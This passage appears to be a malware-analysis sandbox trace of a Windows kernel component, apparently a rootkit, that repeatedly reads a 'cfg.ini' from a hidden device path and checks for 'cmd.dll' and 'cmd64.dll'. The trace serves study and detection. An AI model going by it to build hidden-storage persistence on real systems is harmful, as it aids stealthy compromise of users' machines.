PriorityBoost=0) [0117.827] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.827] KeEnterCriticalRegion () [0117.827] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.827] ExFreePoolWithTag (P=0xfffffa8003aa6cf0, Tag=0x0) [0117.827] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.827] KeLeaveCriticalRegion () [0117.827] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.827] ReleaseMutex (hMutex=0xf0) returned 1 [0117.827] Sleep (dwMilliseconds=0x124f80) [0117.840] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.847] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0117.847] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.847] KeEnterCriticalRegion () [0117.847] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.847] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0117.847] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b87f40 [0117.847] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.847] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0117.847] IdePortDispatch () returned 0x103 [0117.848] KeWaitForMutexObject () returned 0x0 [0117.848] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.848] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.848] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.848] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.848] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.848] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003aa6990 [0117.848] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.848] KeLeaveCriticalRegion () [0117.848] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0117.848] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.848] KeEnterCriticalRegion () [0117.848] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.848] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0117.848] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.848] KeLeaveCriticalRegion () [0117.848] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.848] KeEnterCriticalRegion () [0117.848] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.848] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0117.848] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b87f40 [0117.848] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.848] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0117.848] IdePortDispatch () returned 0x103 [0117.849] KeWaitForMutexObject () returned 0x0 [0117.849] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.849] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.849] KeLeaveCriticalRegion () [0117.849] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0117.849] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.849] KeEnterCriticalRegion () [0117.849] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.849] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d50000 [0117.849] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0117.849] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa80039d6bf0 [0117.849] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0117.849] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0117.849] IdePortDispatch () returned 0x103 [0117.849] KeWaitForMutexObject () returned 0x0 [0117.849] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.849] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0117.849] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa80039d6bf0 [0117.850] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0117.850] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0117.850] IdePortDispatch () returned 0x103 [0117.850] KeWaitForMutexObject () returned 0x0 [0117.850] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.850] KeLeaveCriticalRegion () [0117.850] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0117.851] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.851] KeEnterCriticalRegion () [0117.851] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.851] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0117.851] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.851] KeLeaveCriticalRegion () [0117.851] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.851] KeEnterCriticalRegion () [0117.851] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.851] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0117.851] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003aa6360, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.851] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.851] KeLeaveCriticalRegion () [0117.851] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0117.851] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.851] KeEnterCriticalRegion () [0117.851] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.851] ExFreePoolWithTag (P=0xfffffa8003aa6990, Tag=0x0) [0117.851] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.851] KeLeaveCriticalRegion () [0117.851] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0117.851] ReleaseMutex (hMutex=0xf0) returned 1 [0117.851] Sleep (dwMilliseconds=0x124f80) [0117.865] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.873] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0117.873] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.873] KeEnterCriticalRegion () [0117.873] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.873] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0117.873] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0117.873] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.873] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0117.873] IdePortDispatch () returned 0x103 [0117.874] KeWaitForMutexObject () returned 0x0 [0117.874] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.874] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.874] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.874] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.874] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.874] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039cfe00 [0117.874] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.874] KeLeaveCriticalRegion () [0117.874] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.874] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.874] KeEnterCriticalRegion () [0117.874] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.874] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0117.874] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.874] KeLeaveCriticalRegion () [0117.874] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.874] KeEnterCriticalRegion () [0117.874] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.874] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0117.874] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0117.874] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.874] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0117.874] IdePortDispatch () returned 0x103 [0117.875] KeWaitForMutexObject () returned 0x0 [0117.875] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.875] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.875] KeLeaveCriticalRegion () [0117.875] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.875] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.875] KeEnterCriticalRegion () [0117.875] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.875] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002df2000 [0117.875] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0117.875] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0117.875] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0117.875] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0117.875] IdePortDispatch () returned 0x103 [0117.875] KeWaitForMutexObject () returned 0x0 [0117.875] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.875] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0117.875] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0117.875] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0117.875] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0117.875] IdePortDispatch () returned 0x103 [0117.876] KeWaitForMutexObject () returned 0x0 [0117.876] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.876] KeLeaveCriticalRegion () [0117.876] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.876] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.877] KeEnterCriticalRegion () [0117.877] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.877] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0117.877] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.877] KeLeaveCriticalRegion () [0117.877] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.877] KeEnterCriticalRegion () [0117.877] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.877] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0117.877] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d9070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.877] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.877] KeLeaveCriticalRegion () [0117.877] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.877] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.877] KeEnterCriticalRegion () [0117.877] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.877] ExFreePoolWithTag (P=0xfffffa80039cfe00, Tag=0x0) [0117.877] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.877] KeLeaveCriticalRegion () [0117.877] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.877] ReleaseMutex (hMutex=0xf0) returned 1 [0117.877] Sleep (dwMilliseconds=0x124f80) [0117.893] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.898] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0117.898] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.898] KeEnterCriticalRegion () [0117.898] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.898] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0117.898] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0117.898] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.898] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0117.898] IdePortDispatch () returned 0x103 [0117.900] KeWaitForMutexObject () returned 0x0 [0117.900] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.900] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.900] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.900] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.900] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.900] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039d1970 [0117.900] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.900] KeLeaveCriticalRegion () [0117.900] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.900] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.900] KeEnterCriticalRegion () [0117.900] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.900] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0117.900] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.900] KeLeaveCriticalRegion () [0117.900] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.901] KeEnterCriticalRegion () [0117.901] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.901] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0117.901] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0117.901] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.901] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0117.901] IdePortDispatch () returned 0x103 [0117.901] KeWaitForMutexObject () returned 0x0 [0117.901] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.901] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.901] KeLeaveCriticalRegion () [0117.901] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.901] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.901] KeEnterCriticalRegion () [0117.901] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.901] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003421000 [0117.901] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0117.901] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0117.901] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0117.901] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0117.901] IdePortDispatch () returned 0x103 [0117.902] KeWaitForMutexObject () returned 0x0 [0117.902] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.902] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0117.902] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0117.902] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0117.902] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0117.902] IdePortDispatch () returned 0x103 [0117.902] KeWaitForMutexObject () returned 0x0 [0117.902] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.902] KeLeaveCriticalRegion () [0117.902] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.903] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.903] KeEnterCriticalRegion () [0117.903] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.903] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0117.903] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.903] KeLeaveCriticalRegion () [0117.903] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.903] KeEnterCriticalRegion () [0117.903] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.903] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0117.903] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003aa6360, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.903] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.903] KeLeaveCriticalRegion () [0117.903] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.903] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.903] KeEnterCriticalRegion () [0117.903] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.903] ExFreePoolWithTag (P=0xfffffa80039d1970, Tag=0x0) [0117.903] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.903] KeLeaveCriticalRegion () [0117.903] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.903] ReleaseMutex (hMutex=0xf0) returned 1 [0117.904] Sleep (dwMilliseconds=0x124f80) [0117.905] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.914] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0117.914] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.914] KeEnterCriticalRegion () [0117.914] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.914] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0117.914] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0117.914] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.914] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0117.914] IdePortDispatch () returned 0x103 [0117.914] KeWaitForMutexObject () returned 0x0 [0117.914] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.914] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.914] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.914] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.914] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.914] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003afaf60 [0117.914] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.914] KeLeaveCriticalRegion () [0117.914] IofCompleteRequest (Irp=0xfffffa80039d7d20, 